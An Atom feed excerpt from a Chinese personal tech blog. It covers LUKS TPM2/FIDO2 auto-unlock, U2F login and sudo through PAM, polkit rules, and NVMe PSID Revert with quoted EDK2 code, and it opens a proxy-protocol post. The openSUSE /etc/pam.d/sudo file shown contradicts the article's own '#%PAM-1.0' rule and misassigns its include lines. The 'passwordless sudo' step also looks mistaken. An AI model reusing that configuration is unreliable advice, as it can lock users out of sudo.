&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;systemd-cryptenroll --fido2-device=auto &amp;#x2F;dev&amp;#x2F;sda3
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，&lt;code&gt;&#x2F;dev&#x2F;sda3&lt;&#x2F;code&gt; 是被 LUKS 加密的分区。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;
在配置 initramfs 开机自动解密前，请勿重启。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;pei-zhi-kai-ji-zi-dong-jie-mi&quot;&gt;配置开机自动解密&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;安装依赖&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;您首先需要安装 TPM2 和 FIDO2 所必须的软件，如 &lt;code&gt;tpm-tools&lt;&#x2F;code&gt;、&lt;code&gt;tpm-tss&lt;&#x2F;code&gt; 和 &lt;code&gt;libfido2&lt;&#x2F;code&gt;。不同发行版的包名称可能不同。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;配置解密&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然后，您需要通过编辑内核参数或 &lt;code&gt;crypttab&lt;&#x2F;code&gt; 来开启 initramfs 中的开机自动解密。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;若您的发行版的 initramfs 支持 crypttab，请编辑 &lt;code&gt;&#x2F;etc&#x2F;crypttab&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;若您的发行版的 initramfs 不支持 crypttab，请编辑 &lt;code&gt;&#x2F;etc&#x2F;default&#x2F;grub&lt;&#x2F;code&gt; 使用 &lt;code&gt;rd.luks.options&lt;&#x2F;code&gt; 内核参数。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;
大多数发行版都支持 crypttab，但是不少发行版（如 Arch Linux）的 initramfs 不支持 crypttab。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;以 openSUSE Tumbleweed 为例，编辑 &lt;code&gt;&#x2F;etc&#x2F;crypttab&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&amp;lt;luks_name&amp;gt; UUID=&amp;lt;luks_uuid&amp;gt; &amp;lt;luks_options&amp;gt;,tpm2-device=auto
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;或&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;&amp;lt;luks_name&amp;gt; UUID=&amp;lt;luks_uuid&amp;gt; &amp;lt;luks_options&amp;gt;,fido2-device=auto
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，&lt;code&gt; 是 LUKS 卷的映射名称，&lt;&#x2F;code&gt; 是 LUKS 物理卷的 UUID，`` 是 LUKS 的选项。这些都已在系统安装时配置完成，请不要修改。请仅添加 &lt;code&gt;tpm2-device=auto&lt;&#x2F;code&gt; 或 &lt;code&gt;fido2-device=auto&lt;&#x2F;code&gt;。前者对应 TPM2 解密，后者对应 FIDO2 解密。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;请不要修改 UUID 识别方式为 LABEL 或其他卷识别方式。否则，systemd-based initramfs 可能会重复解密分区，或无法找到分区。&lt;&#x2F;li&gt;
&lt;li&gt;不同发行版的 `` 可能不同。您需要参阅您的发行版手册。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;更新 initramfs&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;千万不要忘了更新 initramfs，否则就前功尽弃、无法启动系统了！&lt;&#x2F;p&gt;
&lt;p&gt;以 openSUSE Tumbleweed 为例，运行下面的命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;dracut -f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;请确保输出没有任何 error。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;
部分发行版默认不会将 crypttab 包含在 initramfs 中。您需要配置您的 initramfs 生成器（&lt;code&gt;dracut&lt;&#x2F;code&gt;、&lt;code&gt;mkinitcpio&lt;&#x2F;code&gt; 等）将 crypttab 包含在 initramfs 中。笔者使用的 openSUSE Tumbleweed 已默认将 crypttab 包含在 initramfs 中。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;完成以上操作后，您可以安全的重新启动了。请务必记住或备份好您的 LUKS 密码或密钥。&lt;&#x2F;p&gt;
&lt;p&gt;您也可以配置 plymouth 来美化开机时密码输入的界面。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;
如果使用 plymoth，在等待 FIDO 密钥确认时，会显示要求输入密码的界面。此时不输入任何密码，直接敲击 Enter，并在 FIDO 密钥上确认，即可解锁 LUKS 卷。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;pei-zhi-u2f-zhang-hu-ren-zheng&quot;&gt;配置 U2F 账户认证&lt;&#x2F;h2&gt;
&lt;p&gt;安装 &lt;code&gt;pam-u2f&lt;&#x2F;code&gt;。不同发行版上的包名称可能不同。&lt;&#x2F;p&gt;
&lt;p&gt;输入以下命令注册 U2F 设备：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;sudo pamu2fcfg -u &amp;lt;username&amp;gt; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;u2f_mappings
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，`` 是您的用户名（用于登录的用户名，而非 &lt;code&gt;root&lt;&#x2F;code&gt;）。程序会要求您按下 U2F 设备上的按钮。&lt;&#x2F;p&gt;
&lt;p&gt;编辑 PAM 文件。PAM 文件可能是 &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;system-auth&lt;&#x2F;code&gt; 或 &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;common-auth&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;
请在更改 PAM 文件前，请开启一个具有 root 权限的 shell，否则若配置失败，您将无法登录。此外建议您在更改 PAM 文件前，复制一个 &lt;code&gt;.bak&lt;&#x2F;code&gt; 文件备份。如果配置失败且您已重启，可以在 GRUB 中加入内核参数 &lt;code&gt;init=&#x2F;bin&#x2F;bash&lt;&#x2F;code&gt; 来登入 root shell，并使用 &lt;code&gt;mount -o remount,rw &#x2F;&lt;&#x2F;code&gt; 挂载根分区为可写，从而恢复 &lt;code&gt;.bak&lt;&#x2F;code&gt; 文件。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;以 openSUSE Tumbleweed 为例，编辑 &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;common-auth&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;#%PAM-1.0
auth       required     pam_env.so
auth       optional     pam_kwallet5.so
auth       sufficient   pam_u2f.so authfile=&amp;#x2F;etc&amp;#x2F;u2f_mappings cue
auth       required     pam_unix.so try_first_pass
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;增加 &lt;code&gt;pam_u2f.so&lt;&#x2F;code&gt; 行。其中，&lt;code&gt;cue&lt;&#x2F;code&gt; 代表显示要求用户按下 U2F 设备上按钮提的提示（即在输入密码的界面显示「Please touch the device」）。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;
PAM 文件的第一行必须为 &lt;code&gt;#%PAM-1.0&lt;&#x2F;code&gt;。该行不是注释，缺少该行将导致您无法登录系统。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Password-less 登录&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;如果您想只用 U2F 设备登录，且不允许密码登录，你可以使用 &lt;code&gt;passwd -d&lt;&#x2F;code&gt; 删除密码，并确保 PAM 文件中的 &lt;code&gt;pam_unix.so&lt;&#x2F;code&gt; 扩展不包含 &lt;code&gt;null_ok&lt;&#x2F;code&gt; 选项。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;桌面环境注意事项&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;许多桌面环境（包括 KDE）并未适配无密码登录的情况，因此依然显示密码输入框。您无需输入任何密码，仅需按下 Enter 键，并触碰您的 U2F 设备按钮即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;pei-zhi-u2f-sudo&quot;&gt;配置 U2F sudo&lt;&#x2F;h2&gt;
&lt;p&gt;在配置 U2F sudo 前，请确保您的 sudo 使用的是用户的密码，而不是 root 的密码。需要注意的是，SUSE 系列的 Linux 在 sudo 时，默认要求的是 root 的密码（小插曲：此设计被 Linus Torvalds 吐槽过，他的女儿曾使用 openSUSE 发行版，在安装打印机驱动时，打电话向 Linus 询问 root 密码）。&lt;&#x2F;p&gt;
&lt;p&gt;以 openSUSE Tumbleweed 为例，编辑 &lt;code&gt;&#x2F;etc&#x2F;sudoers&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# Defaults    targetpw ## 注释此行
# ALL ALL=(ALL) ALL    ## 同时注释此行，否则任何人都能获得 root 权限

root ALL=(ALL) ALL     ## 取消注释此行
%wheel ALL=(ALL) ALL   ## 取消注释此行
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;将您需要赋予 sudo 权限的用户添加到 sudo 组中。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;
无论你的 sudo 使用的是 root 密码还是用户密码，请务必将您当前的用户添加到配置的允许 sudo 组中。一些发行版的默认 sudo 组是 &lt;code&gt;wheel&lt;&#x2F;code&gt;，一些则是 &lt;code&gt;sudo&lt;&#x2F;code&gt;。请在编辑完成后试着使用 sudo 并确保能够成功获取 root 权限再关闭 root shell，否则可能失去 root 权限。对于桌面环境，你应该要重启桌面环境（X 或 Wayland）。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;编辑 PAM 文件 &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;sudo&lt;&#x2F;code&gt;，在 &lt;code&gt;include common-auth&lt;&#x2F;code&gt; 之前添加 &lt;code&gt;pam_u2f.so&lt;&#x2F;code&gt; 行：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;#%PAM-1.0
# ...lines..
auth       sufficient   pam_u2f.so authfile=&amp;#x2F;etc&amp;#x2F;u2f_mappings cue    # 此行为您需要添加的
auth       include      common-auth                                  # 此行为文件中已有的
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;openSUSE 上的特殊配置&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;openSUSE 上没有 &lt;code&gt;&#x2F;etc&#x2F;pam.d&#x2F;sudo&lt;&#x2F;code&gt;，因此您需要创建该文件如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;%PAM-1.0
auth      requisite    pam_nologin.so
auth      sufficient   pam_u2f.so authfile=&amp;#x2F;etc&amp;#x2F;u2f_mappings cue
auth      requisite    pam_nologin.so
auth      include      common-account
account   include      common-password
session   required     pam_loginuid.so
session   include      common-session
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;strong&gt;配置 U2F 无密码 sudo&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;&#x2F;strong&gt;
该配置有风险，请在配置前备份相关配置文件并确保有一个 root shell。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;将 &lt;code&gt;pam_u2f.so&lt;&#x2F;code&gt; 行中的 &lt;code&gt;sufficient&lt;&#x2F;code&gt; 改为 &lt;code&gt;required&lt;&#x2F;code&gt; 即可。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xiu-fu-polkit&quot;&gt;修复 Polkit&lt;&#x2F;h2&gt;
&lt;p&gt;Polkit 依然会使用 root 密码进行认证，因此您需要重新配置。&lt;&#x2F;p&gt;
&lt;p&gt;创建 &lt;code&gt;&#x2F;etc&#x2F;polkit-1&#x2F;rules.d&#x2F;50-sudo.rules&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;plaintext&quot; class=&quot;language-plaintext &quot;&gt;&lt;code class=&quot;language-plaintext&quot; data-lang=&quot;plaintext&quot;&gt;polkit.addAdminRule(function(action, subject) {
    return [&amp;quot;unix-group:wheel&amp;quot;];
});
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;请将 &lt;code&gt;wheel&lt;&#x2F;code&gt; 替换为您的 sudo 组。一些发行版的默认 sudo 组是 &lt;code&gt;wheel&lt;&#x2F;code&gt;，一些则是 &lt;code&gt;sudo&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Trusted_Platform_Module&quot;&gt;Trusted Platform Module - Arch Wiki&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Arch_boot_process&quot;&gt;Arch Boot Process - Arch Wiki&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;dm-crypt&#x2F;Encrypting_an_entire_system&quot;&gt;dm-crypt&#x2F;Encrypting an Entire System - Arch Wiki&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.opensuse.org&#x2F;SDB:LUKS2,_TPM2_and_FIDO2&quot;&gt;LUKS2, TPM2 and FIDO2 - openSUSE Wiki&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;developers.yubico.com&#x2F;pam-u2f&#x2F;&quot;&gt;pam-u2f - Yubico Developers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>NVMe 硬盘密码救命神器之 PSID</title>
        <published>2025-06-13T00:00:00+00:00</published>
        <updated>2025-06-13T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/nvme-硬盘密码救命神器之-psid/"/>
        <id>https://vercel.juzhong.asia/obsidian/nvme-硬盘密码救命神器之-psid/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/nvme-硬盘密码救命神器之-psid/">&lt;h1 id=&quot;nvme-ying-pan-mi-ma-jiu-ming-shen-qi-zhi-psid&quot;&gt;NVMe 硬盘密码救命神器之 PSID&lt;&#x2F;h1&gt;
&lt;p&gt;大多数 BIOS 厂商都会提供一个硬盘密码（HDD Password）功能， 但出于种种原因（大多是忘记密码后会很麻烦）你可能并没有使用过它。&lt;&#x2F;p&gt;
&lt;p&gt;最近在测试一个问题时，我非常“快速”地给一块 NVMe 设置了一个常用的密码。 但就在设置完再次启动 BIOS 时，输入密码解锁时却一直提示密码不正确。&lt;&#x2F;p&gt;
&lt;p&gt;于是赶紧再尝试了不同大小写的组合，结果还都是密码不正确。 眼看着一块硬盘就要这样折在我手上，突然想起来还有个 PSID 的东西。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;0x00-shen-me-shi-psid&quot;&gt;&lt;strong&gt;0x00 什么是 PSID&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;NVMe 属于 Self-Encrypting Drive (&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=259000985&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=SED&amp;amp;zhida_source=entity&quot;&gt;SED&lt;&#x2F;a&gt;)，BIOS 提供的 NVMe Opal Password 便是使用 TCG Storage Opal Security Subsystem Class (SSC) 所定义的接口与硬盘交互（设置密码）， 写入存储设备的用户数据的加密则由存储设备控制器内部的专用硬件来完成。&lt;&#x2F;p&gt;
&lt;p&gt;PSID (Physical Security ID) 是 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=259000985&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=TCG+Opal+SSC&amp;amp;zhida_source=entity&quot;&gt;TCG Opal SSC&lt;&#x2F;a&gt; 中的一个特性，其主要作用提供一个 在忘记密码时的恢复机制（PSID Revert）。注意，这种恢复是破坏性的。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;trustedcomputinggroup.org&#x2F;wp-content&#x2F;uploads&#x2F;TCG_Storage-Opal_Feature_Set_PSID_v1.00_r1.00.pdf&quot;&gt;TCG\_Storage-Opal\_Feature\_Set\_PSID\_v1.00\_r1.00.pdf&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;
The goal of the PSID Feature Set is to:
• Define an authority&#x2F;credential pair whose C_PIN object’s PIN column value is not discoverable via the interface.
• Provide access control settings that permit invocation of the Revert method if the PSID authority has been successfully authenticated.
The primary use case for this is one where the SID is not known, or manageability of the device has been lost, and the owner wishes to attempt to reset the device to OFS via the Revert method defined in [3]. Because the PSID credential value is specified such that it is not discoverable via the interface, it is necessary that the credential value be delivered via an alternative mechanism. Examples of these mechanisms include printing the PSID credential on a device label; or including the value as an insert in the device packaging. The delivery mechanism is vendor unique.&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;对于使用方（可以是完成 PSID Revert 的 BIOS 或其他工具）来说，PSID 就是一个 32 个字符的区分大小写的值。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;0x01-ru-he-huo-qu-psid&quot;&gt;&lt;strong&gt;0x01 如何获取 PSID&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;从前文的规范不难发现，PSID 这段字符不可通过接口获取，传递机制由供应商自行决定。&lt;&#x2F;p&gt;
&lt;p&gt;最简单的便是查看硬盘上所贴的标签是否有 PSID 相关的字符。如下图所示（非实际设备图，所以并未包含实际的 PSID）：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 长江存储 PC411 2048GB NVMe M.2 SSD 产品图：标签印有 Model PC411-2TB-D、PCIe Gen4x4、PN、PSID、SN、FW、EUI64 字段及两个二维码，并标注 WARRANTY VOID IF LABEL REMOVED（撕毁标签即失保）；要点是 PSID 就印在硬盘标签上，需要 PSID Revert 解锁时从标签读取，但注意撕毁标签会失去保修。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;如果标签上没有，则可以再检查一下产品包装&#x2F;说明文档，都没有的话那只有联系产品供应商售后了。&lt;&#x2F;p&gt;
&lt;p&gt;所幸，前面被我忘记密码的长江存储的盘上面有打印这一串 PSID。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;0x02-shi-yong-psid-revert&quot;&gt;&lt;strong&gt;0x02 使用 PSID Revert&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;你可以选择使用 &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;Drive-Trust-Alliance&#x2F;sedutil&quot;&gt;sedutil&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; 来做这个操作。但是这需要一个环境来运行它。&lt;&#x2F;p&gt;
&lt;p&gt;对于 BIOSer 来说，只要有 BIOS 就足够了。在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=259000985&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=Edk2&amp;amp;zhida_source=entity&quot;&gt;Edk2&lt;&#x2F;a&gt; 的 &lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;github.com&#x2F;tianocore&#x2F;edk2&#x2F;tree&#x2F;master&#x2F;SecurityPkg&#x2F;Tcg&#x2F;Opal&#x2F;OpalPassword&quot;&gt;SecurityPkg\\Tcg\\Opal\\OpalPassword&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt; 模块中便支持 PsidRevert 功能。&lt;&#x2F;p&gt;
&lt;p&gt;对于支持的设备，它会提供了一个 checkbox 选项：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;checkbox varid = OpalHiiConfig.OpalRequest.PsidRevert,
            prompt  = STRING_TOKEN(STR_DISK_INFO_PSID_REVERT),
            help    = STRING_TOKEN(STR_DISK_INFO_PSID_REVERT_HELP),
            flags   = INTERACTIVE | RESET_REQUIRED,
            key     = 0x800A,
         endcheckbox;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;如果你勾选了此选项，重启后在下次启动中便会执行 Psid Revert 操作：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;if (TempVariable-&amp;gt;OpalRequest.PsidRevert != 0) {
        ProcessOpalRequestPsidRevert (Dev, L&amp;quot;Psid Revert:&amp;quot;);
      }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;在 &lt;code&gt;ProcessOpalRequestPsidRevert()&lt;&#x2F;code&gt; 中会提示输入相应的 PSID 字符， 之后会调用 &lt;code&gt;SecurityPkg\Library\TcgStorageOpalLib\TcgStorageOpalUtil.c&lt;&#x2F;code&gt; 中的 &lt;code&gt;OpalUtilPsidRevert()&lt;&#x2F;code&gt; 来执行 Psid Revert 操作。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;&amp;#x2F;**
  Creates a session with OPAL_UID_ADMIN_SP as OPAL_ADMIN_SP_PSID_AUTHORITY, then reverts device using Admin SP Revert method.

  @param[in]      Session,           The session info for one opal device.
  @param[in]      Psid               PSID of device to revert.
  @param[in]      PsidLength         Length of PSID in bytes.

**&amp;#x2F;
TCG_RESULT
EFIAPI
OpalUtilPsidRevert (
  OPAL_SESSION  *Session,
  const VOID    *Psid,
  UINT32        PsidLength
  )
{
  UINT8       MethodStatus;
  TCG_RESULT  Ret;
  UINT32      RemovalTimeOut;

  NULL_CHECK (Session);
  NULL_CHECK (Psid);

  RemovalTimeOut = GetRevertTimeOut (Session);
  DEBUG ((DEBUG_INFO, &amp;quot;OpalUtilPsidRevert: Timeout value = %d\n&amp;quot;, RemovalTimeOut));

  Ret = OpalStartSession (
          Session,
          OPAL_UID_ADMIN_SP,
          TRUE,
          PsidLength,
          Psid,
          OPAL_ADMIN_SP_PSID_AUTHORITY,
          &amp;amp;MethodStatus
          );
  if ((Ret == TcgResultSuccess) &amp;amp;&amp;amp; (MethodStatus == TCG_METHOD_STATUS_CODE_SUCCESS)) {
    Ret = OpalPyrite2PsidRevert (Session, RemovalTimeOut);
    if (Ret != TcgResultSuccess) {
      &amp;#x2F;&amp;#x2F;
      &amp;#x2F;&amp;#x2F; If revert was successful, session was already ended by TPer, so only end session on failure
      &amp;#x2F;&amp;#x2F;
      OpalEndSession (Session);
    }
  }

  if (MethodStatus != TCG_METHOD_STATUS_CODE_SUCCESS) {
    Ret = TcgResultFailure;
  }

  return Ret;
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;不出意外的话，当你正确输入了一串 PSID，等待操作完成后，便可顺利清除硬盘上的密码（当然也包含数据）。&lt;&#x2F;p&gt;
&lt;p&gt;前面被我忘记（搞错）密码的硬盘，这时也就得救了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;0xff-hou-hua-ke-neng-ni-bing-wu-fa-shi-yong-shang-mian-de-fang-fa&quot;&gt;&lt;strong&gt;0xFF 后话（可能你并无法使用上面的方法）&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;Edk2 中的 OpalPassword 是比较独立的模块，对于工程师来说，可以很方便的引入到 BIOS 中。&lt;&#x2F;p&gt;
&lt;p&gt;当然你可能还想问，前面都能设置 NVMe 密码了为什么还要引入这一个？&lt;&#x2F;p&gt;
&lt;p&gt;当然是功能“阉割”了。（各家 BIOS 的“阉割”确实会让不少人气愤，为什么要把 BIOS 功能这么“精简”！）&lt;&#x2F;p&gt;
&lt;p&gt;不过，正是模块的独立，理论上也可以很方便的改造成一个 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zhida.zhihu.com&#x2F;search?content_id=259000985&amp;amp;content_type=Article&amp;amp;match_order=1&amp;amp;q=UEFI_APPLICATION&amp;amp;zhida_source=entity&quot;&gt;UEFI_APPLICATION&lt;&#x2F;a&gt;，这样似乎能更方便使用。（咕咕咕~~~）&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>【代理新姿势】科学上网最新AnyTLS协议快速上手，收集了两年的各代理协议反馈分享，reality依旧稳如老狗！ - 科学上网 技术分享</title>
        <published>2025-05-18T00:00:00+00:00</published>
        <updated>2025-05-18T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/代理新姿势-科学上网最新anytls协议快速上手-收集了两年的各代理协议反馈分享-reality依旧稳如老狗-科学上网-技术分享/"/>
        <id>https://vercel.juzhong.asia/obsidian/代理新姿势-科学上网最新anytls协议快速上手-收集了两年的各代理协议反馈分享-reality依旧稳如老狗-科学上网-技术分享/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/代理新姿势-科学上网最新anytls协议快速上手-收集了两年的各代理协议反馈分享-reality依旧稳如老狗-科学上网-技术分享/">&lt;h2 id=&quot;shi-pin-jiao-cheng&quot;&gt;视频教程&lt;&#x2F;h2&gt;
&lt;p&gt;[▶ YouTube 视频（需科学上网）：https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=yUJ--0eUs_o]&lt;&#x2F;p&gt;
&lt;p&gt;youtube播放地址：&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;bulianglin.com&#x2F;g&#x2F;aHR0cHM6Ly95b3V0dS5iZS95VUotLTBlVXNfbw&quot;&gt;https:&#x2F;&#x2F;youtu.be&#x2F;yUJ--0eUs_o&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
